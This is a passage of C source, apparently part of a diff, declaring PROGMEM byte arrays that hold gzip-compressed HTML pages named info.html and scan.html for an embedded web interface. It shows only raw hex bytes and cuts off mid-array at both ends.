0xcf, 0xd8, 0xa3, 0x99, 0x1f, 0xcd, 0x28, 0x14, 0x23, 0x83, 0x12, 0x24, 0xa6, 0xe4, 0x85, 0x0d, 0x46, 0x10, 0x56, 0xbd, 0xf0, 0x56, 0xdb, 0x2d, 0xac, 0x3e, 0xfd, 0xf4, 0xfb, 0xdd, 0xed, 0xdd, 0xbb, 0x65, 0xd9, 0xcc, 0x39, 0xac, 0x3b, 0xa6, 0x62, 0xd1, 0xd0, 0xa3, 0xfa, 0x2a, 0x4e, 0xe9, 0xc0, 0x1e, 0xba, 0xcd, 0x64, 0x3f, 0x36, 0x3a, 0x40, 0xe7, 0xdd, 0x03, 0x4a, 0x02, 0xfe, 0x57, 0xa4, 0x17, 0xb7, 0x01, 0xfe, 0xe3, 0x9a, 0x24, 0xb2, 0x38, 0x1b, 0x26, 0x48, 0x18, 0x28, 0xe5, 0x12, 0x56, 0x01, 0xaa, 0x28, 0x45, 0x1a, 0x04, 0x61, 0xa0, 0x8b, 0xbe, 0x73, 0x01, 0xc3, 0x6c, 0x59, 0xfb, 0x15, 0xdc, 0xa1, 0x4e, 0x5d, 0x00, 0x7e, 0xc0, 0xd8, 0x9a, 0x09, 0x58, 0x0e, 0xd7, 0x14, 0xe0, 0xfe, 0xe6, 0x3d, 0xf4, 0x22, 0x40, 0x8b, 0xc2, 0x12, 0xb0, 0xb1, 0x8e, 0xda, 0xa8, 0x8c, 0x1e, 0xa2, 0x6c, 0x9e, 0xa0, 0xe0, 0xe7, 0xb8, 0x0d, 0x20, 0x79, 0x38, 0x9c, 0x94, 0xd1, 0xbf, 0xc8, 0xd0, 0xf9, 0xf1, 0x47, 0x40, 0x86, 0x4a, 0xcd, 0x38, 0x80, 0xd8, 0xb2, 0xde, 0x81, 0xe0, 0xe0, 0xa2, 0x07, 0xd7, 0x5b, 0xb0, 0x48, 0xbd, 0xf3, 0xbb, 0x90, 0x39, 0x0e, 0x73, 0x1e, 0x4e, 0x62, 0x6f, 0x09, 0x22, 0xa3, 0xc3, 0x5e, 0x18, 0xad, 0xe0, 0x93, 0x9e, 0xbe, 0xd5, 0xb0, 0xf1, 0x3c, 0x6d, 0x01, 0x86, 0xd9, 0xae, 0x59, 0x2a, 0x6d, 0x33, 0xf7, 0xdb, 0xf5, 0x7a, 0x0d, 0xd7, 0x17, 0x8b, 0xd9, 0x7c, 0x0e, 0x81, 0x18, 0x4f, 0x78, 0x35, 0xc0, 0x3a, 0x76, 0xb7, 0x8e, 0xa0, 0x36, 0x4e, 0xee, 0x52, 0x11, 0x2c, 0xa6, 0x8f, 0x2c, 0x92, 0xb0, 0x07, 0x86, 0xc3, 0xbf, 0x22, 0x5a, 0xa9, 0x8f, 0x7a, 0x7c, 0x30, 0x28, 0x98, 0xb2, 0x6c, 0x90, 0x9d, 0x13, 0xb0, 0xc1, 0x2d, 0x8b, 0xe6, 0x71, 0x1b, 0x4d, 0x56, 0x30, 0xa4, 0x8c, 0xb9, 0x02, 0xe9, 0xa2, 0x25, 0x7f, 0x80, 0x1a, 0x59, 0x10, 0x64, 0xaa, 0x49, 0x6d, 0x4d, 0xb3, 0xa7, 0x02, 0x46, 0x30, 0xe5, 0xec, 0x8f, 0xc4, 0x10, 0x9b, 0xa4, 0xb3, 0x63, 0xd4, 0x93, 0xfe, 0xb1, 0xba, 0xc5, 0x83, 0x68, 0xb9, 0xb3, 0xc5, 0x84, 0x4f, 0x04, 0xb1, 0x07, 0x09, 0xc3, 0x6a, 0x45, 0xcb, 0x13, 0xc4, 0x77, 0x9b, 0xe9, 0x27, 0x1e, 0x1e, 0x9f, 0x7a, 0x97, 0x5a, 0x7d, 0x8a, 0x32, 0x68, 0x76, 0xbb, 0x49, 0xbc, 0x38, 0xdb, 0xe4, 0x51, 0x71, 0x3e, 0xdf, 0xe7, 0x78, 0x41, 0xc3, 0x99, 0x56, 0x89, 0x4a, 0x86, 0xce, 0x2a, 0x25, 0x11, 0x18, 0x89, 0x89, 0x33, 0x64, 0x9f, 0xd3, 0x9f, 0xb2, 0xcb, 0x3e, 0x21, 0x35, 0x7c, 0x54, 0x27, 0xd6, 0x46, 0x87, 0xec, 0x3f, 0xde, 0x71, 0x10, 0xb5, 0x8b, 0x63, 0x54, 0xcf, 0xa3, 0x94, 0x5e, 0x8e, 0xbf, 0x79, 0x30, 0x3b, 0x2e, 0x1a, 0xbf, 0x74, 0x46, 0xd8, 0x2c, 0x1f, 0x84, 0xc6, 0xf5, 0x27, 0x8c, 0x32, 0x4d, 0xe5, 0x12, 0xe3, 0x3c, 0xb4, 0x5c, 0xa9, 0x34, 0x5a, 0xee, 0xc2, 0x04, 0x36, 0xdc, 0xe9, 0xd4, 0xc2, 0x92, 0xed, 0xad, 0xb3, 0x78, 0xc8, 0xfd, 0x6c, 0xc4, 0x1e, 0xb9, 0x9f, 0xac, 0x47, 0xe8, 0x12, 0xc5, 0x14, 0xa5, 0x99, 0x8a, 0x31, 0xfc, 0x16, 0x93, 0x46, 0x39, 0x27, 0x1d, 0x26, 0x03, 0x98, 0x6b, 0xdb, 0xc8, 0x3b, 0x33, 0xb5, 0x89, 0x79, 0xab, 0x94, 0x28, 0xc1, 0xa4, 0xb3, 0x8d, 0xde, 0x36, 0x03, 0x80, 0xe0, 0x53, 0xe2, 0xab, 0xc7, 0x43, 0xc6, 0x33, 0x76, 0x9c, 0x9f, 0x93, 0x4e, 0xbe, 0xcd, 0x1c, 0xb8, 0xcb, 0xda, 0xb2, 0x7f, 0x3b, 0x94, 0xb2, 0xd7, 0xbc, 0x7c, 0xde, 0xc0, 0xb2, 0xec, 0x4e, 0xee, 0x70, 0xf1, 0x78, 0x89, 0x6b, 0x67, 0x54, 0x5a, 0x39, 0x62, 0x58, 0x62, 0x45, 0x43, 0xd4, 0x85, 0x37, 0x65, 0xb9, 0x65, 0x79, 0x62, 0x3d, 0x63, 0x66, 0x65, 0x38, 0x6e, 0xd7, 0x92, 0xab, 0x49, 0x77, 0xef, 0xb3, 0x7a, 0x5c, 0xcb, 0xff, 0xcb, 0x6d, 0x59, 0x8a, 0xd5, 0x13, 0xcb, 0xe1, 0x21, 0x46, 0x26, 0x75, 0x24, 0x4a, 0xab, 0x7f, 0x58, 0xa1, 0x7c, 0x39, 0x67, 0xe9, 0x53, 0xf4, 0x2f, 0xbb, 0x65, 0x3a, 0x46, 0xac, 0x6e, 0x07, 0x95, 0x79, 0xe4, 0x86, 0x3b, 0x34, 0xce, 0x8b, 0x73, 0x83, 0x6e, 0x7c, 0x9b, 0xf8, 0xa6, 0xa6, 0xce, 0xef, 0x31, 0x11, 0x18, 0x15, 0x18, 0xd7, 0xa3, 0x74, 0xdd, 0xc1, 0x67, 0x65, 0xbf, 0xb7, 0xf6, 0xb2, 0xd7, 0x3b, 0x5d, 0x00, 0x09, 0xbf, 0xe5, 0x6f, 0xe5, 0xe7, 0x9a, 0x67, 0x67, 0xc7, 0x2b, 0x93, 0x8d, 0x39, 0xdb, 0xdf, 0xdf, 0x2b, 0xe9, 0x73, 0xc4, 0x77, 0x9a, 0x7e, 0x8d, 0xf5, 0xb9, 0x84, 0x7f, 0x72, 0xa1, 0xa9, 0xb7, 0x8b, 0xd9, 0x45, 0x7e, 0xff, 0xe5, 0xb1, 0x9a, 0x97, 0xf2, 0x15, 0x2c, 0x2e, 0xe6, 0xd7, 0xcf, 0x3e, 0x83, 0x47, 0xcd, 0xff, 0x9b, 0xd0, 0x57, 0xf9, 0xbf, 0xe5, 0x34, 0xea, 0x39, 0x7c, 0x4e, 0xbe, 0xf1, 0xf3, 0x0f, 0xa0, 0x66, 0x43, 0x34, 0x58, 0x08, 0x00, 0x00}; +const char infohtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x69, 0x6e, 0x66, 0x6f, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0xad, 0x57, 0x6d, 0x6f, 0xe3, 0x36, 0x0c, 0xfe, 0x2b, 0x6c, 0xf6, 0x61, 0x77, 0x40, 0x93, 0xf4, 0x05, 0x28, 0xba, 0x22, 0x31, 0xae, 0xb8, 0x06, 0x5b, 0xd7, 0x6e, 0x2b, 0x90, 0x6e, 0xf7, 0x69, 0x38, 0xc8, 0x16, 0x1d, 0xab, 0x95, 0x25, 0x43, 0x92, 0xe3, 0xcb, 0x61, 0x3f, 0x7e, 0x94, 0xe4, 0xa4, 0x71, 0x9c, 0xb6, 0xc1, 0xb0, 0x2f, 0x4e, 0x42, 0x8a, 0x0f, 0x69, 0xea, 0xe1, 0x4b, 0x26, 0x47, 0x37, 0x3a, 0x73, 0xab, 0x0a, 0xa1, 0x70, 0xa5, 0x4c, 0x60, 0x52, 0xa2, 0x63, 0x90, 0x15, 0xcc, 0x58, 0x74, 0xd3, 0xda, 0xe5, 0xc3, 0x4b, 0x58, 0x4b, 0x15, 0x2b, 0x71, 0xba, 0x14, 0xd8, 0x54, 0xda, 0x38, 0x80, 0x4c, 0x2b, 0x87, 0xca, 0x4d, 0x07, 0x8d, 0xe0, 0xae, 0x98, 0x72, 0x5c, 0x8a, 0x0c, 0x87, 0xe1, 0xc7, 0x31, 0x08, 0x25, 0x9c, 0x60, 0x72, 0x68, 0x33, 0x26, 0x71, 0x7a, 0x32, 0xba, 0x3c, 0x86, 0x92, 0x64, 0x25, 0x89, 0x6a, 0x31, 0xe8, 0x20, 0x72, 0xb4, 0x99, 0x11, 0x95, 0x13, 0x5a, 0x6d, 0x81, 0xce, 0xe6, 0x0f, 0x97, 0x67, 0x17, 0x17, 0x70, 0x83, 0xac, 0x76, 0x05, 0x9a, 0xae, 0x8d, 0x97, 0x69, 0xb3, 0x75, 0x7c, 0x5e, 0xb1, 0x0c, 0x8b, 0xba, 0x50, 0x30, 0x84, 0xb9, 0xc3, 0x9c, 0x29, 0xb8, 0x33, 0x58, 0xda, 0x5d, 0x43, 0x82, 0x2a, 0x71, 0x98, 0x69, 0xd9, 0xb1, 0xfe, 0xe1, 0xfc, 0xe2, 0xfc, 0xa7, 0xf3, 0xd9, 0x00, 0xc6, 0x74, 0xd8, 0x09, 0x27, 0x31, 0xd9, 0xf5, 0x3f, 0x19, 0x47, 0x39, 0x4c, 0xa4, 0x50, 0xcf, 0x60, 0x50, 0x4e, 0xad, 0x5b, 0x49, 0xb4, 0x05, 0x22, 0x25, 0xa3, 0x30, 0x98, 0x47, 0xc1, 0x28, 0xb3, 0xd6, 0xa7, 0x2c, 0xbe, 0x14, 0x58, 0x93, 0x4d, 0x07, 0x4f, 0x76, 0x6c, 0x85, 0xc3, 0xd1, 0x93, 0x1d, 0x24, 0x93, 0x71, 0xd4, 0xd0, 0x91, 0x54, 0xf3, 0x15, 0x68, 0x25, 0x35, 0xe3, 0xd3, 0x81, 0x7f, 0xde, 0x33, 0xb5, 0xf8, 0xf0, 0xd1, 0x47, 0xac, 0xd8, 0x92, 0x9e, 0xac, 0xc5, 0xcd, 0x98, 0x1a, 0xf9, 0xfb, 0x01, 0xe0, 0xcc, 0xb1, 0xa1, 0x33, 0x4c, 0x59, 0xc9, 0x1c, 0x06, 0x0d, 0x24, 0x73, 0x7a, 0x4e, 0xc6, 0x6c, 0xcb, 0xc0, 0x0a, 0x6e, 0x5f, 0xb1, 0xf0, 0x2a, 0x32, 0x99, 0xdf, 0xde, 0xd8, 0x8e, 0x0d, 0x73, 0x8e, 0x65, 0xcf, 0xfb, 0x8d, 0xa2, 0x8e, 0xcc, 0xae, 0xe3, 0x97, 0xae, 0x33, 0x74, 0x4e, 0xa8, 0xc5, 0x6b, 0xfe, 0x5a, 0x2d, 0xb9, 0x6c, 0xbf, 0xad, 0x8d, 0x33, 0xc9, 0xac, 0x9d, 0x1a, 0xb1, 0x28, 0xd6, 0xf9, 0x13, 0x2a, 0xd7, 0xfb, 0x51, 0xbc, 0x06, 0x92, 0x5b, 0x7a, 0x46, 0xeb, 0x71, 0xcc, 0x0f, 0x17, 0xcb, 0x16, 0xc6, 0x5f, 0x25, 0x13, 0x0a, 0x0d, 0x74, 0xc4, 0x46, 0x37, 0xb0, 0x73, 0x4e, 0x0e, 0x4f, 0xcf, 0xd6, 0x32, 0xc1, 0xa7, 0x68, 0x4c, 0xa0, 0x42, 0xd0, 0x16, 0x82, 0x23, 0xd0, 0x0d, 0x91, 0x8e, 0x4e, 0x14, 0xa7, 0x6b, 0x31, 0x32, 0x4e, 0xc8, 0x6f, 0x05, 0x55, 0x9c, 0x7a, 0x83, 0xb3, 0x3d, 0xb4, 0x21, 0x21, 0x4c, 0x2a, 0x4f, 0x88, 0x8a, 0xee, 0x2a, 0x02, 0xa6, 0x5a, 0x72, 0x48, 0x3e, 0xeb, 0x6a, 0x15, 0x5f, 0xff, 0x43, 0xf6, 0x11, 0xce, 0x4e, 0x4e, 0x2f, 0x77, 0xa8, 0x4b, 0x54, 0x21, 0x9b, 0x64, 0x92, 0x9a, 0x40, 0xcc, 0xf8, 0xf1, 0x58, 0x08, 0x0b, 0x95, 0xd1, 0x4f, 0x98, 0x39, 0xa0, 0xaf, 0x92, 0xaa, 0x4e, 0x59, 0xe4, 0x50, 0x2b, 0x1f, 0x24, 0x39, 0x85, 0xdf, 0x6e, 0x1f, 0xe1, 0x3e, 0x8a, 0x47, 0x30, 0x47, 0x0c, 0xc2, 0xf5, 0x75, 0xdd, 0xdf, 0x7e, 0x9e, 0xfd, 0x3e, 0x9f, 0x41, 0xd2, 0x1a, 0x42, 0x2e, 0x24, 0x86, 0xac, 0xe6, 0x94, 0x08, 0x4e, 0x95, 0x22, 0xa4, 0x1d, 0x6d, 0x9c, 0x21, 0x58, 0x5d, 0x9b, 0x0c, 0xa9, 0x58, 0x28, 0x37, 0xe4, 0x8f, 0x2d, 0xe9, 0x00, 0x4b, 0x25, 0x12, 0x73, 0x37, 0xa0, 0x83, 0xc2, 0xb9, 0xca, 0x5e, 0x8d, 0xc7, 0x0b, 0xe1, 0x8a, 0x3a, 0x1d, 0x65, 0xba, 0xf4, 0xb1, 0xc7, 0x92, 0x1c, 0xa3, 0xad, 0x7c, 0x52, 0xbe, 0xf2, 0x75, 0x2d, 0x83, 0x63, 0x66, 0x41, 0xfd, 0xe5, 0x6b, 0x2a, 0x19, 0x15, 0x53, 0xf2, 0xb3, 0x70, 0xbf, 0xd4, 0xa9, 0x0f, 0x62, 0xd4, 0x7d, 0xd9, 0x3f, 0x29, 0x3e, 0xe1, 0x7c, 0x8d, 0xac, 0x42, 0x78, 0x0e, 0xad, 0xe7, 0x10, 0xd0, 0x57, 0xe4, 0x75, 0xc6, 0x7c, 0xd3, 0x60, 0x12, 0xaa, 0xda, 0x54, 0xda, 0x22, 0x05, 0xb7, 0x20, 0x12, 0x58, 0x07, 0x2b, 0x8a, 0x19, 0x74, 0xa3, 0x40, 0xa1, 0x6b, 0xb4, 0x21, 0xea, 0x32, 0xc5, 0x21, 0xb6, 0x28, 0x7b, 0xd4, 0xf5, 0xd1, 0xbf, 0x98, 0x07, 0x89, 0x8c, 0x1c, 0x73, 0xad, 0x7e, 0x74, 0x54, 0xe9, 0xb9, 0x4f, 0xab, 0xa6, 0x24, 0x6e, 0x25, 0x9e, 0x59, 0x18, 0x3c, 0xb1, 0xb2, 0xa4, 0x97, 0x39, 0x26, 0x0d, 0x73, 0x74, 0xc2, 0x31, 0x49, 0x61, 0x86, 0x6b, 0xa0, 0x5e, 0x47, 0xd1, 0xf8, 0xb4, 0x1b, 0x7c, 0x89, 0x0f, 0x74, 0xde, 0x41, 0x39, 0x6a, 0x2f, 0x98, 0xf8, 0x5c, 0x45, 0xfa, 0x7c, 0x36, 0xc8, 0x85, 0xb3, 0x2f, 0xac, 0xb9, 0x86, 0xa2, 0x5e, 0xf8, 0x0b, 0xa4, 0x3c, 0x11, 0xa0, 0xbe, 0xa2, 0xa0, 0x49, 0x53, 0xcb, 0xd0, 0x88, 0x92, 0x4e, 0xfe, 0xbb, 0xe9, 0xa7, 0x64, 0x2b, 0xa7, 0x95, 0xd0, 0xb5, 0xed, 0xe5, 0xfb, 0xd3, 0x96, 0x32, 0x16, 0xd4, 0xdb, 0x58, 0x4f, 0xf7, 0x2b, 0xf5, 0xad, 0x8f, 0x12, 0xc4, 0x87, 0xd8, 0x4b, 0x5b, 0xe9, 0x4a, 0xea, 0x25, 0xf6, 0x31, 0x36, 0xaa, 0x43, 0x70, 0x6c, 0x56, 0xf8, 0xa2, 0xeb, 0xa3, 0xb4, 0x8a, 0x43, 0x30, 0x9c, 0x4e, 0xf5, 0xf7, 0x3d, 0x10, 0x51, 0x7e, 0x08, 0xc2, 0x37, 0xce, 0x96, 0x82, 0x17, 0x75, 0x1f, 0x63, 0xad, 0x39, 0x04, 0xe5, 0xa1, 0x51, 0x77, 0xc2, 0x39, 0x2c, 0xfa, 0x30, 0x1b, 0x55, 0xdb, 0xec, 0xfc, 0x6d, 0x7b, 0xf6, 0x17, 0x28, 0xab, 0xc0, 0xfe, 0xda, 0x41, 0x43, 0x48, 0xb0, 0x64, 0xc6, 0x5f, 0xa1, 0x27, 0x95, 0x6f, 0xb1, 0x06, 0x17, 0xcc, 0x70, 0x7f, 0xa2, 0xcb, 0x55, 0xa2, 0xfe, 0x33, 0x62, 0x30, 0xa5, 0x62, 0x62, 0x52, 0x2c, 0xf1, 0x28, 0xf2, 0xc8, 0x3f, 0x6e, 0x49, 0x62, 0x35, 0x34, 0xc4, 0x88, 0x48, 0x73, 0x1f, 0xc4, 0xcc, 0x56, 0x06, 0x69, 0x56, 0xe4, 0xc1, 0x9a, 0x88, 0x2c, 0x0c, 0x75, 0x80, 0xb2, 0xac, 0x69, 0xae, 0xb7, 0xa5, 0xe8, 0x5d, 0xb0, 0x06, 0xad, 0x2e, 0xa9, 0x39, 0x14, 0xa2, 0x0a, 0x27, 0xa9, 0x04, 0x02, 0xed, 0xad, 0xce, 0x5d, 0xc3, 0x0c, 0x06, 0x21, 0x6d, 0x13, 0x3c, 0xfc, 0x68, 0x23, 0x22, 0x3b, 0xa3, 0xa9, 0x4e, 0x42, 0x34, 0x11, 0x9e, 0xc0, 0x6b, 0x45, 0xf3, 0x95, 0x66, 0xa7, 0xab, 0x9d, 0x36, 0xb4, 0x3b, 0x58, 0x5f, 0xc5, 0xe0, 0x07, 0x5c, 0x2e, 0xe8, 0x10, 0xf5, 0x00, 0x2a, 0xaa, 0xad, 0xb8, 0xe7, 0x05, 0xe5, 0xc1, 0xa7, 0x82, 0x82, 0xc6, 0x25, 0x9a, 0x95, 0x56, 0x08, 0xbe, 0xd8, 0x43, 0x8a, 0x54, 0x40, 0x95, 0x22, 0x35, 0x94, 0x23, 0xaa, 0xc5, 0xda, 0xb7, 0xc8, 0x4d, 0xdc, 0x6d, 0x20, 0x6f, 0x55, 0xd3, 0x4e, 0x37, 0x7b, 0xf4, 0x29, 0x7e, 0xa8, 0xa5, 0xc5, 0x75, 0x3b, 0x1b, 0x6a, 0x89, 0x7c, 0x68, 0x2d, 0x3f, 0x3d, 0x3f, 0xb9, 0xe8, 0x5d, 0xe2, 0xbe, 0x43, 0xfb, 0x69, 0xb1, 0xe3, 0x28, 0xf5, 0x00, 0x59, 0xa1, 0xd5, 0xf8, 0xda, 0xf0, 0x5a, 0x28, 0xfd, 0xab, 0xd5, 0xaa, 0x07, 0xbf, 0xa5, 0x3b, 0x08, 0x55, 0x2c, 0x69, 0x6a, 0x21, 0x8d, 0x37, 0x39, 0xbe, 0xa7, 0xfd, 0x05, 0xf9, 0xbd, 0xb0, 0xae, 0x87, 0xfa, 0xa2, 0xda, 0x62, 0x5e, 0xc8, 0xd1, 0xb5, 0xa7, 0xc8, 0xa6, 0x0b, 0xbd, 0xe4, 0x3b, 0xb4, 0x3e, 0x5b, 0x57, 0x7e, 0x25, 0xb4, 0x5d, 0xda, 0xa5, 0x2b, 0xd8, 0xa5, 0xff, 0x66, 0x24, 0x8c, 0x38, 0x8e, 0xa9, 0xbd, 0xd2, 0x14, 0xed, 0xc5, 0x10, 0xc4, 0x94, 0xeb, 0xbf, 0x7d, 0x08, 0xc7, 0x90, 0x22, 0xfa, 0xfb, 0x2c, 0xfb, 0x60, 0x15, 0x73, 0x06, 0xb5, 0xea, 0xce, 0x9a, 0x1e, 0x9c, 0x3f, 0xd5, 0xe6, 0x88, 0x2e, 0x3f, 0xad, 0x57, 0x91, 0x1d, 0x6d, 0x2f, 0xc6, 0xfe, 0x04, 0x6b, 0x9a, 0x66, 0x44, 0xfe, 0xb9, 0xc0, 0x88, 0x4c, 0x64, 0x44, 0xfb, 0x46, 0x07, 0xd3, 0x79, 0x2e, 0x32, 0xa2, 0xeb, 0x66, 0xe4, 0x43, 0xaa, 0x89, 0xef, 0xb1, 0xaf, 0xe6, 0x46, 0x97, 0x70, 0x33, 0x7f, 0xbc, 0xbd, 0x9b, 0x8d, 0x22, 0xd7, 0x36, 0x9d, 0xde, 0x2f, 0x2c, 0x99, 0x7b, 0xe9, 0xf4, 0x5f, 0x30, 0xbd, 0xf2, 0xd1, 0x74, 0xe1, 0x5f, 0xcb, 0x9f, 0x0f, 0x6d, 0x90, 0x74, 0x7e, 0x7b, 0x87, 0xc1, 0x47, 0x9c, 0xa6, 0xef, 0x82, 0xed, 0x1d, 0xd5, 0x83, 0x64, 0x9f, 0xb8, 0x85, 0x0e, 0x1b, 0x41, 0xe3, 0x3b, 0x93, 0x79, 0x17, 0xdd, 0xc5, 0x73, 0x3d, 0xf8, 0x4f, 0xfb, 0x40, 0x67, 0xc3, 0x92, 0x96, 0x8a, 0x2b, 0xf0, 0xcf, 0x4f, 0xdd, 0x97, 0xda, 0x8c, 0x6a, 0x6a, 0x54, 0x79, 0xe8, 0x08, 0x8d, 0xae, 0x69, 0x48, 0x4b, 0xf1, 0x8c, 0x9e, 0x89, 0x2d, 0xf7, 0x80, 0x9a, 0x50, 0x68, 0x89, 0x44, 0x94, 0x75, 0x97, 0x39, 0x86, 0x2a, 0x0e, 0x72, 0x5a, 0x0e, 0x69, 0xeb, 0xf5, 0x37, 0x83, 0x04, 0xe9, 0x09, 0xc0, 0x20, 0xf2, 0xa2, 0xdd, 0x61, 0x5e, 0x7d, 0x11, 0xfb, 0x2a, 0xcf, 0x92, 0xbd, 0xe2, 0x9d, 0x15, 0x26, 0x81, 0x3f, 0x02, 0xe7, 0x02, 0xd3, 0x36, 0x44, 0xd9, 0xb4, 0xc3, 0xdd, 0x76, 0xb4, 0x4d, 0x97, 0x43, 0x22, 0x7b, 0x87, 0xaa, 0x94, 0xed, 0x37, 0xb4, 0x21, 0xd4, 0x96, 0x8f, 0xed, 0x2e, 0x9c, 0x6d, 0x16, 0xd2, 0xe4, 0x3f, 0x6e, 0x76, 0xe3, 0x46, 0x3c, 0x8b, 0x5e, 0x89, 0x7c, 0x21, 0x61, 0x28, 0x87, 0x7f, 0xfe, 0xff, 0x85, 0xf1, 0x65, 0x1e, 0xfc, 0x85, 0xc6, 0xfa, 0xff, 0x90, 0x67, 0xa3, 0x93, 0xf0, 0xfb, 0xfd, 0xf5, 0x3a, 0x98, 0x1e, 0x12, 0x50, 0xcf, 0xff, 0x6b, 0x45, 0x02, 0xeb, 0xff, 0x0e, 0x7b, 0x3e, 0xfe, 0x05, 0x55, 0x8e, 0x7d, 0x8f, 0x6b, 0x0f, 0x00, 0x00}; +const char scanhtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x73, 0x63, 0x61, 0x6e, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0xad, 0x57, 0x51, 0x6f, 0xe3, 0x36, 0x0c, 0xfe, 0x2b, 0xbc, 0xec, 0x25, 0x05, 0x9a, 0x38, 0x4e, 0xaf, 0xbd, 0xb6, 0x88, 0x0d, 0x14, 0x6d, 0xb7, 0x15, 0x3b, 0xdc, 0x8a, 0xa5, 0xd8, 0x1e, 0x03, 0xc5, 0x66, 0x62, 0x5d, 0x6d, 0xc9, 0x90, 0xe4, 0xe4, 0x0a, 0xec, 0xc7, 0x8f, 0x94, 0x9c, 0x2e, 0x71, 0xd2, 0xee, 0xba, 0xeb, 0x43, 0x54, 0x99, 0x22, 0x29, 0xf2, 0x23, 0x45, 0xb2, 0x93, 0x0f, 0x37, 0x3a, 0x73, 0x4f, 0x35, 0x42, 0xe1, 0xaa, 0x32, 0x85, 0x49, 0x85, 0x4e, 0x40, 0x56, 0x08, 0x63, 0xd1, 0x25, 0x8d, 0x5b, 0x0c, 0xce, 0x61, 0x43, 0x55, 0xa2, 0xc2, 0x64, 0x25, 0x71, 0x5d, 0x6b, 0xe3, 0x00, 0x32, 0xad, 0x1c, 0x2a, 0x97, 0xf4, 0xd6, 0x32, 0x77, 0x45, 0x92, 0xe3, 0x4a, 0x66, 0x38, 0xf0, 0x1f, 0xc7, 0x20, 0x95, 0x74, 0x52, 0x94, 0x03, 0x9b, 0x89, 0x12, 0x93, 0xd1, 0xf0, 0xfc, 0x18, 0x2a, 0xa2, 0x55, 0x44, 0x6a, 0x64, 0x6f, 0x47, 0x63, 0x8e, 0x36, 0x33, 0xb2, 0x76, 0x52, 0xab, 0x2d, 0xa5, 0xb7, 0xd3, 0xfb, 0xf3, 0xf1, 0xd9, 0x19, 0xdc, 0xa0, 0x68, 0x5c, 0x81, 0x66, 0x57, 0x86, 0x69, 0xda, 0x6c, 0xb1, 0x4f, 0x6b, 0x91, 0x61, 0xd1, 0x14, 0x0a, 0x06, 0x30, 0x75, 0xb8, 0x10, 0x0a, 0x7e, 0x33, 0x58, 0xd9, 0xae, 0x20, 0xa9, 0xaa, 0x70, 0x90, 0xe9, 0x72, 0x47, 0xfa, 0xa7, 0x93, 0xb3, 0x93, 0x8b, 0x93, 0xdb, 0x1e, 0x44, 0xc4, 0xec, 0xa4, 0x2b, 0x31, 0xed, 0xde, 0x3f, 0x89, 0x02, 0x1d, 0x26, 0xa5, 0x54, 0x8f, 0x60, 0xb0, 0x4c, 0xac, 0x7b, 0x2a, 0xd1, 0x16, 0x88, 0x04, 0x46, 0x61, 0x70, 0x11, 0x08, 0xc3, 0xcc, 0x5a, 0x86, 0x2c, 0x38, 0x05, 0xd6, 0x64, 0x49, 0xef, 0xab, 0x8d, 0xac, 0x74, 0x38, 0xfc, 0x6a, 0x7b, 0xe9, 0x24, 0x0a, 0x27, 0x07, 0x58, 0x32, 0xa1, 0xba, 0x2c, 0x73, 0x9d, 0x3f, 0x81, 0x56, 0xa5, 0x16, 0x79, 0xd2, 0xe3, 0xf5, 0xb3, 0x50, 0xcb, 0xfe, 0x11, 0x3b, 0xa5, 0xc4, 0x8a, 0x56, 0xd1, 0x5e, 0xcd, 0xb2, 0x1c, 0x42, 0x80, 0x5c, 0x38, 0x31, 0x70, 0x46, 0x28, 0x5b, 0x0a, 0x87, 0xfe, 0x04, 0xd2, 0x29, 0xad, 0x93, 0x48, 0x6c, 0x09, 0x58, 0x99, 0xdb, 0x17, 0x24, 0xf8, 0x88, 0x44, 0xa6, 0x77, 0x37, 0x76, 0x47, 0x46, 0x38, 0x27, 0xb2, 0xc7, 0xc3, 0x42, 0xe1, 0x8c, 0xc4, 0xae, 0xc2, 0x66, 0xf7, 0x32, 0x74, 0x4e, 0xaa, 0xe5, 0x4b, 0xf7, 0xb5, 0xa7, 0x74, 0x65, 0xbb, 0xdb, 0x08, 0x67, 0xa5, 0xb0, 0x36, 0x31, 0x72, 0x59, 0x6c, 0x20, 0x96, 0x6a, 0xa1, 0x0f, 0x6b, 0xe1, 0x13, 0x48, 0xef, 0x68, 0x0d, 0xd2, 0x51, 0xc0, 0x27, 0x97, 0xab, 0x56, 0x0d, 0x47, 0x5b, 0x48, 0x85, 0x06, 0x76, 0xc8, 0x46, 0xaf, 0xa1, 0xc3, 0x57, 0x0e, 0xe2, 0xf1, 0x86, 0x26, 0xf3, 0x04, 0x8d, 0xf1, 0xd9, 0xe2, 0x4f, 0x0b, 0x99, 0x23, 0x50, 0x84, 0xe8, 0x8c, 0x38, 0x8a, 0x78, 0x43, 0x46, 0x91, 0x93, 0xe6, 0xd7, 0xc0, 0x2f, 0x62, 0x8e, 0x67, 0xe3, 0x1c, 0xe5, 0xb9, 0x56, 0x59, 0x29, 0xb3, 0xc7, 0xa4, 0xc7, 0x0c, 0xfd, 0x11, 0xc5, 0x93, 0x79, 0xe0, 0xea, 0x9e, 0x5c, 0x0f, 0x2c, 0x2f, 0xf1, 0xc6, 0x1b, 0xde, 0xa9, 0x13, 0xfc, 0x64, 0x5e, 0x13, 0xe0, 0x7c, 0xa1, 0x5c, 0xe9, 0x1a, 0x45, 0xb9, 0x4b, 0x07, 0xb0, 0x83, 0x6e, 0xfa, 0x87, 0x27, 0x6e, 0x29, 0x6b, 0x3d, 0x6c, 0xff, 0xfc, 0x07, 0x5e, 0x67, 0x4c, 0x2a, 0xc5, 0x1c, 0x4b, 0x58, 0x68, 0x93, 0x64, 0xc5, 0x1e, 0x12, 0x54, 0x52, 0x94, 0xa2, 0xe3, 0xf4, 0x3a, 0x6c, 0x26, 0x91, 0x67, 0x3f, 0x74, 0xc3, 0xb3, 0x42, 0x8b, 0x25, 0x66, 0x8e, 0x43, 0xc0, 0x0a, 0xfd, 0xfb, 0xa5, 0x0d, 0x1d, 0xe8, 0x50, 0x2d, 0x56, 0xa2, 0x6c, 0x28, 0xf3, 0xca, 0x03, 0xd9, 0x48, 0xb4, 0xf4, 0x8a, 0x96, 0x5d, 0xd6, 0x18, 0xd2, 0xb8, 0x43, 0xa2, 0x40, 0x8f, 0x3b, 0xa4, 0x13, 0x48, 0x4f, 0x3a, 0xa4, 0x8f, 0x90, 0x7e, 0xec, 0x90, 